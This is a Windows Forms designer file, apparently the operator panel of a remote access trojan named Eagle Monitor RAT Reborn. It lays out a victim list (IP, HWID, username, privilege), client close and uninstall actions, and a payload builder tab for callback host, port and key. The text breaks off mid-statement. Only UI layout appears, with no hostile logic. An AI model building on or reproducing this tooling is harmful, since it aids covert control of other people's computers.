this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.panel1 = new System.Windows.Forms.Panel();\n            this.guna2Panel5 = new Guna.UI2.WinForms.Guna2Panel();\n            this.githubPictureBox = new System.Windows.Forms.PictureBox();\n            this.portLabel = new System.Windows.Forms.Label();\n            this.versionLabel = new System.Windows.Forms.Label();\n            this.logoPictureBox = new System.Windows.Forms.PictureBox();\n            this.patchToolTip = new System.Windows.Forms.ToolTip(this.components);\n            this.totalClientLabel = new System.Windows.Forms.Label();\n            this.mainGuna2TabControl.SuspendLayout();\n            this.tabPage1.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.clientDataGridView)).BeginInit();\n            this.mainContextMenuStrip.SuspendLayout();\n            this.clientContextMenuStrip.SuspendLayout();\n            this.tabPage2.SuspendLayout();\n            this.guna2Panel1.SuspendLayout();\n            this.builderGuna2TabControl.SuspendLayout();\n            this.tabPage6.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.hostsDataGridView)).BeginInit();\n            this.hostContextMenuStrip.SuspendLayout();\n            this.tabPage7.SuspendLayout();\n            this.tabPage8.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();\n            this.tabPage13.SuspendLayout();\n            this.guna2GroupBox3.SuspendLayout();\n            this.tabPage9.SuspendLayout();\n            this.tabPage3.SuspendLayout();\n            this.guna2Panel2.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.logsDataGridView)).BeginInit();\n            this.tabPage4.SuspendLayout();\n            this.guna2Panel3.SuspendLayout();\n            this.tabPage5.SuspendLayout();\n            this.guna2Panel4.SuspendLayout();\n            this.guna2GroupBox1.SuspendLayout();\n            this.portContextMenuStrip.SuspendLayout();\n            this.tabPage10.SuspendLayout();\n            this.onConnectGuna2TabControl.SuspendLayout();\n            this.tabPage11.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.tasksDataGridView)).BeginInit();\n            this.tabPage12.SuspendLayout();\n            this.panel1.SuspendLayout();\n            this.guna2Panel5.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.githubPictureBox)).BeginInit();\n            ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit();\n            this.SuspendLayout();\n            // \n            // mainGuna2TabControl\n            // \n            this.mainGuna2TabControl.Alignment = System.Windows.Forms.TabAlignment.Right;\n            this.mainGuna2TabControl.Controls.Add(this.tabPage1);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage2);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage3);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage4);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage5);\n            this.mainGuna2TabControl.Controls.Add(this.tabPage10);\n            this.mainGuna2TabControl.ItemSize = new System.Drawing.Size(186, 40);\n            this.mainGuna2TabControl.Location = new System.Drawing.Point(2, 32);\n            this.mainGuna2TabControl.Name = \"mainGuna2TabControl\";\n            this.mainGuna2TabControl.SelectedIndex = 0;\n            this.mainGuna2TabControl.Size = new System.Drawing.Size(1102, 410);\n            this.mainGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.mainGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.mainGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.mainGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.mainGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.mainGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.mainGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.mainGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.mainGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.mainGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.mainGuna2TabControl.TabButtonImageAlign = System.Windows.Forms.HorizontalAlignment.Left;\n            this.mainGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.mainGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.mainGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.mainGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.mainGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.mainGuna2TabControl.TabButtonSize = new System.Drawing.Size(186, 40);\n            this.mainGuna2TabControl.TabIndex = 0;\n            this.mainGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.mainGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.VerticalRight;\n            // \n            // tabPage1\n            // \n            this.tabPage1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage1.Controls.Add(this.guna2VScrollBar1);\n            this.tabPage1.Controls.Add(this.clientDataGridView);\n            this.tabPage1.Location = new System.Drawing.Point(4, 4);\n            this.tabPage1.Name = \"tabPage1\";\n            this.tabPage1.Size = new System.Drawing.Size(908, 402);\n            this.tabPage1.TabIndex = 0;\n            this.tabPage1.Text = \"Clients\";\n            // \n            // guna2VScrollBar1\n            // \n            this.guna2VScrollBar1.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar1.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar1.InUpdate = false;\n            this.guna2VScrollBar1.LargeChange = 10;\n            this.guna2VScrollBar1.Location = new System.Drawing.Point(890, 0);\n            this.guna2VScrollBar1.Name = \"guna2VScrollBar1\";\n            this.guna2VScrollBar1.ScrollbarSize = 18;\n            this.guna2VScrollBar1.Size = new System.Drawing.Size(18, 402);\n            this.guna2VScrollBar1.TabIndex = 8;\n            this.guna2VScrollBar1.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // clientDataGridView\n            // \n            this.clientDataGridView.AllowUserToAddRows = false;\n            this.clientDataGridView.AllowUserToDeleteRows = false;\n            this.clientDataGridView.AllowUserToResizeColumns = false;\n            this.clientDataGridView.AllowUserToResizeRows = false;\n            this.clientDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.clientDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.clientDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.clientDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle25.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle25.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle25.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle25.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle25.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle25.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle25.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.clientDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle25;\n            this.clientDataGridView.ColumnHeadersHeight = 36;\n            this.clientDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column1,\n            this.Column2,\n            this.Column3,\n            this.Column4,\n            this.Column5,\n            this.Column6,\n            this.Column7,\n            this.Column8,\n            this.Column9,\n            this.Column10});\n            this.clientDataGridView.ContextMenuStrip = this.mainContextMenuStrip;\n            this.clientDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.clientDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.clientDataGridView.EnableHeadersVisualStyles = false;\n            this.clientDataGridView.GridColor = System.Drawing.Color.White;\n            this.clientDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.clientDataGridView.Name = \"clientDataGridView\";\n            this.clientDataGridView.ReadOnly = true;\n            this.clientDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle29.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle29.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            dataGridViewCellStyle29.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle29.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            this.clientDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle29;\n            this.clientDataGridView.RowTemplate.Height = 26;\n            this.clientDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.clientDataGridView.Size = new System.Drawing.Size(908, 402);\n            this.clientDataGridView.TabIndex = 5;\n            this.clientDataGridView.TabStop = false;\n            this.clientDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.dataGridView1_MouseUp);\n            // \n            // Column1\n            // \n            this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle26.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle26.ForeColor = System.Drawing.Color.White;\n            dataGridViewCellStyle26.NullValue = null;\n            dataGridViewCellStyle26.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2);\n            this.Column1.DefaultCellStyle = dataGridViewCellStyle26;\n            this.Column1.FillWeight = 12F;\n            this.Column1.HeaderText = \"Country\";\n            this.Column1.Name = \"Column1\";\n            this.Column1.ReadOnly = true;\n            this.Column1.Resizable = System.Windows.Forms.DataGridViewTriState.False;\n            // \n            // Column2\n            // \n            this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle27.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column2.DefaultCellStyle = dataGridViewCellStyle27;\n            this.Column2.FillWeight = 25F;\n            this.Column2.HeaderText = \"HWID\";\n            this.Column2.Name = \"Column2\";\n            this.Column2.ReadOnly = true;\n            this.Column2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column3\n            // \n            this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle28.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column3.DefaultCellStyle = dataGridViewCellStyle28;\n            this.Column3.FillWeight = 18F;\n            this.Column3.HeaderText = \"IP\";\n            this.Column3.Name = \"Column3\";\n            this.Column3.ReadOnly = true;\n            this.Column3.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column4\n            // \n            this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column4.FillWeight = 25F;\n            this.Column4.HeaderText = \"OS\";\n            this.Column4.Name = \"Column4\";\n            this.Column4.ReadOnly = true;\n            this.Column4.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column5\n            // \n            this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column5.FillWeight = 20F;\n            this.Column5.HeaderText = \"Username\";\n            this.Column5.Name = \"Column5\";\n            this.Column5.ReadOnly = true;\n            this.Column5.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column6\n            // \n            this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column6.FillWeight = 20F;\n            this.Column6.HeaderText = \"RAM\";\n            this.Column6.Name = \"Column6\";\n            this.Column6.ReadOnly = true;\n            this.Column6.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;\n            // \n            // Column7\n            // \n            this.Column7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column7.FillWeight = 20F;\n            this.Column7.HeaderText = \"Region\";\n            this.Column7.Name = \"Column7\";\n            this.Column7.ReadOnly = true;\n            // \n            // Column8\n            // \n            this.Column8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column8.FillWeight = 20F;\n            this.Column8.HeaderText = \"Privilege\";\n            this.Column8.Name = \"Column8\";\n            this.Column8.ReadOnly = true;\n            // \n            // Column9\n            // \n            this.Column9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column9.FillWeight = 15F;\n            this.Column9.HeaderText = \"32/64 bits\";\n            this.Column9.Name = \"Column9\";\n            this.Column9.ReadOnly = true;\n            // \n            // Column10\n            // \n            this.Column10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column10.FillWeight = 15F;\n            this.Column10.HeaderText = \"Port\";\n            this.Column10.Name = \"Column10\";\n            this.Column10.ReadOnly = true;\n            // \n            // mainContextMenuStrip\n            // \n            this.mainContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.mainContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.loginToolStripMenuItem,\n            this.clientToolStripMenuItem,\n            this.aboutToolStripMenuItem});\n            this.mainContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.mainContextMenuStrip.Size = new System.Drawing.Size(120, 106);\n            // \n            // loginToolStripMenuItem\n            // \n            this.loginToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.loginToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.loginToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.login_32px;\n            this.loginToolStripMenuItem.Name = \"loginToolStripMenuItem\";\n            this.loginToolStripMenuItem.Size = new System.Drawing.Size(119, 34);\n            this.loginToolStripMenuItem.Text = \"Login\";\n            this.loginToolStripMenuItem.Click += new System.EventHandler(this.loginToolStripMenuItem_Click);\n            // \n            // clientToolStripMenuItem\n            // \n            this.clientToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.clientToolStripMenuItem.DropDown = this.clientContextMenuStrip;\n            this.clientToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.clientToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.user_32px;\n            this.clientToolStripMenuItem.Name = \"clientToolStripMenuItem\";\n            this.clientToolStripMenuItem.Size = new System.Drawing.Size(119, 34);\n            this.clientToolStripMenuItem.Text = \"Client\";\n            // \n            // clientContextMenuStrip\n            // \n            this.clientContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.clientContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.closeToolStripMenuItem,\n            this.closeUninstallToolStripMenuItem,\n            this.test123ToolStripMenuItem,\n            this.test456ToolStripMenuItem});\n            this.clientContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.clientContextMenuStrip.OwnerItem = this.clientToolStripMenuItem;\n            this.clientContextMenuStrip.Size = new System.Drawing.Size(176, 140);\n            // \n            // closeToolStripMenuItem\n            // \n            this.closeToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.closeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.closeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.broken_link_32px;\n            this.closeToolStripMenuItem.Name = \"closeToolStripMenuItem\";\n            this.closeToolStripMenuItem.Size = new System.Drawing.Size(175, 34);\n            this.closeToolStripMenuItem.Text = \"Close\";\n            this.closeToolStripMenuItem.Click += new System.EventHandler(this.closeToolStripMenuItem_Click);\n            // \n            // closeUninstallToolStripMenuItem\n            // \n            this.closeUninstallToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.closeUninstallToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.closeUninstallToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.uninstall_programs_32px;\n            this.closeUninstallToolStripMenuItem.Name = \"closeUninstallToolStripMenuItem\";\n            this.closeUninstallToolStripMenuItem.Size = new System.Drawing.Size(175, 34);\n            this.closeUninstallToolStripMenuItem.Text = \"Close + Uninstall\";\n            this.closeUninstallToolStripMenuItem.Click += new System.EventHandler(this.closeUninstallToolStripMenuItem_Click);\n            // \n            // test123ToolStripMenuItem\n            // \n            this.test123ToolStripMenuItem.Name = \"test123ToolStripMenuItem\";\n            this.test123ToolStripMenuItem.Size = new System.Drawing.Size(175, 34);\n            this.test123ToolStripMenuItem.Text = \"Test123\";\n            this.test123ToolStripMenuItem.Visible = false;\n            this.test123ToolStripMenuItem.Click += new System.EventHandler(this.test123ToolStripMenuItem_Click);\n            // \n            // test456ToolStripMenuItem\n            // \n            this.test456ToolStripMenuItem.Name = \"test456ToolStripMenuItem\";\n            this.test456ToolStripMenuItem.Size = new System.Drawing.Size(175, 34);\n            this.test456ToolStripMenuItem.Text = \"Test456\";\n            this.test456ToolStripMenuItem.Visible = false;\n            this.test456ToolStripMenuItem.Click += new System.EventHandler(this.test456ToolStripMenuItem_Click);\n            // \n            // aboutToolStripMenuItem\n            // \n            this.aboutToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.aboutToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.aboutToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.icons8_information_32;\n            this.aboutToolStripMenuItem.Name = \"aboutToolStripMenuItem\";\n            this.aboutToolStripMenuItem.Size = new System.Drawing.Size(119, 34);\n            this.aboutToolStripMenuItem.Text = \"About\";\n            this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click);\n            // \n            // tabPage2\n            // \n            this.tabPage2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage2.Controls.Add(this.guna2Panel1);\n            this.tabPage2.Location = new System.Drawing.Point(4, 4);\n            this.tabPage2.Margin = new System.Windows.Forms.Padding(0);\n            this.tabPage2.Name = \"tabPage2\";\n            this.tabPage2.Size = new System.Drawing.Size(908, 443);\n            this.tabPage2.TabIndex = 1;\n            this.tabPage2.Text = \"Builder\";\n            // \n            // guna2Panel1\n            // \n            this.guna2Panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2Panel1.Controls.Add(this.builderGuna2TabControl);\n            this.guna2Panel1.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.guna2Panel1.Location = new System.Drawing.Point(0, 0);\n            this.guna2Panel1.Name = \"guna2Panel1\";\n            this.guna2Panel1.Size = new System.Drawing.Size(908, 443);\n            this.guna2Panel1.TabIndex = 0;\n            // \n            // builderGuna2TabControl\n            // \n            this.builderGuna2TabControl.Controls.Add(this.tabPage6);\n            this.builderGuna2TabControl.Controls.Add(this.tabPage7);\n            this.builderGuna2TabControl.Controls.Add(this.tabPage8);\n            this.builderGuna2TabControl.Controls.Add(this.tabPage13);\n            this.builderGuna2TabControl.Controls.Add(this.tabPage9);\n            this.builderGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.builderGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.builderGuna2TabControl.Location = new System.Drawing.Point(0, 0);\n            this.builderGuna2TabControl.Name = \"builderGuna2TabControl\";\n            this.builderGuna2TabControl.SelectedIndex = 0;\n            this.builderGuna2TabControl.Size = new System.Drawing.Size(908, 443);\n            this.builderGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.builderGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.builderGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.builderGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.builderGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.builderGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.builderGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.builderGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.builderGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.builderGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.builderGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.builderGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.builderGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.builderGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.builderGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.builderGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.builderGuna2TabControl.TabIndex = 15;\n            this.builderGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.builderGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage6\n            // \n            this.tabPage6.BackColor = System.Drawing.Color.White;\n            this.tabPage6.Controls.Add(this.addHostGuna2Button);\n            this.tabPage6.Controls.Add(this.hostsDataGridView);\n            this.tabPage6.Controls.Add(this.label5);\n            this.tabPage6.Controls.Add(this.builderKeyGuna2TextBox);\n            this.tabPage6.Controls.Add(this.label2);\n            this.tabPage6.Controls.Add(this.portGuna2TextBox);\n            this.tabPage6.Controls.Add(this.label3);\n            this.tabPage6.Controls.Add(this.dnsGuna2TextBox);\n            this.tabPage6.Location = new System.Drawing.Point(4, 44);\n            this.tabPage6.Name = \"tabPage6\";\n            this.tabPage6.Size = new System.Drawing.Size(900, 395);\n            this.tabPage6.TabIndex = 0;\n            this.tabPage6.Text = \"Network\";\n            // \n            // addHostGuna2Button\n            // \n            this.addHostGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.addHostGuna2Button.Animated = true;\n            this.addHostGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.addHostGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.addHostGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.addHostGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.addHostGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.addHostGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.addHostGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.addHostGuna2Button.Location = new System.Drawing.Point(63, 153);\n            this.addHostGuna2Button.Name = \"addHostGuna2Button\";\n            this.addHostGuna2Button.Size = new System.Drawing.Size(762, 30);\n            this.addHostGuna2Button.TabIndex = 35;\n            this.addHostGuna2Button.Text = \"Add host\";\n            this.addHostGuna2Button.Click += new System.EventHandler(this.addHostGuna2Button_Click);\n            // \n            // hostsDataGridView\n            // \n            this.hostsDataGridView.AllowUserToAddRows = false;\n            this.hostsDataGridView.AllowUserToDeleteRows = false;\n            this.hostsDataGridView.AllowUserToResizeColumns = false;\n            this.hostsDataGridView.AllowUserToResizeRows = false;\n            this.hostsDataGridView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.hostsDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.hostsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.hostsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.hostsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle15.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle15.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle15.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle15.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle15.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.hostsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle15;\n            this.hostsDataGridView.ColumnHeadersHeight = 36;\n            this.hostsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column22,\n            this.Column23});\n            this.hostsDataGridView.ContextMenuStrip = this.hostContextMenuStrip;\n            this.hostsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.hostsDataGridView.EnableHeadersVisualStyles = false;\n            this.hostsDataGridView.GridColor = System.Drawing.Color.White;\n            this.hostsDataGridView.Location = new System.Drawing.Point(63, 192);\n            this.hostsDataGridView.Name = \"hostsDataGridView\";\n            this.hostsDataGridView.ReadOnly = true;\n            this.hostsDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle30.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle30.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            dataGridViewCellStyle30.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle30.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            this.hostsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle30;\n            this.hostsDataGridView.RowTemplate.Height = 26;\n            this.hostsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.hostsDataGridView.Size = new System.Drawing.Size(762, 198);\n            this.hostsDataGridView.TabIndex = 25;\n            this.hostsDataGridView.TabStop = false;\n            this.hostsDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.hostsDataGridView_MouseUp);\n            // \n            // Column22\n            // \n            this.Column22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle19.ForeColor = 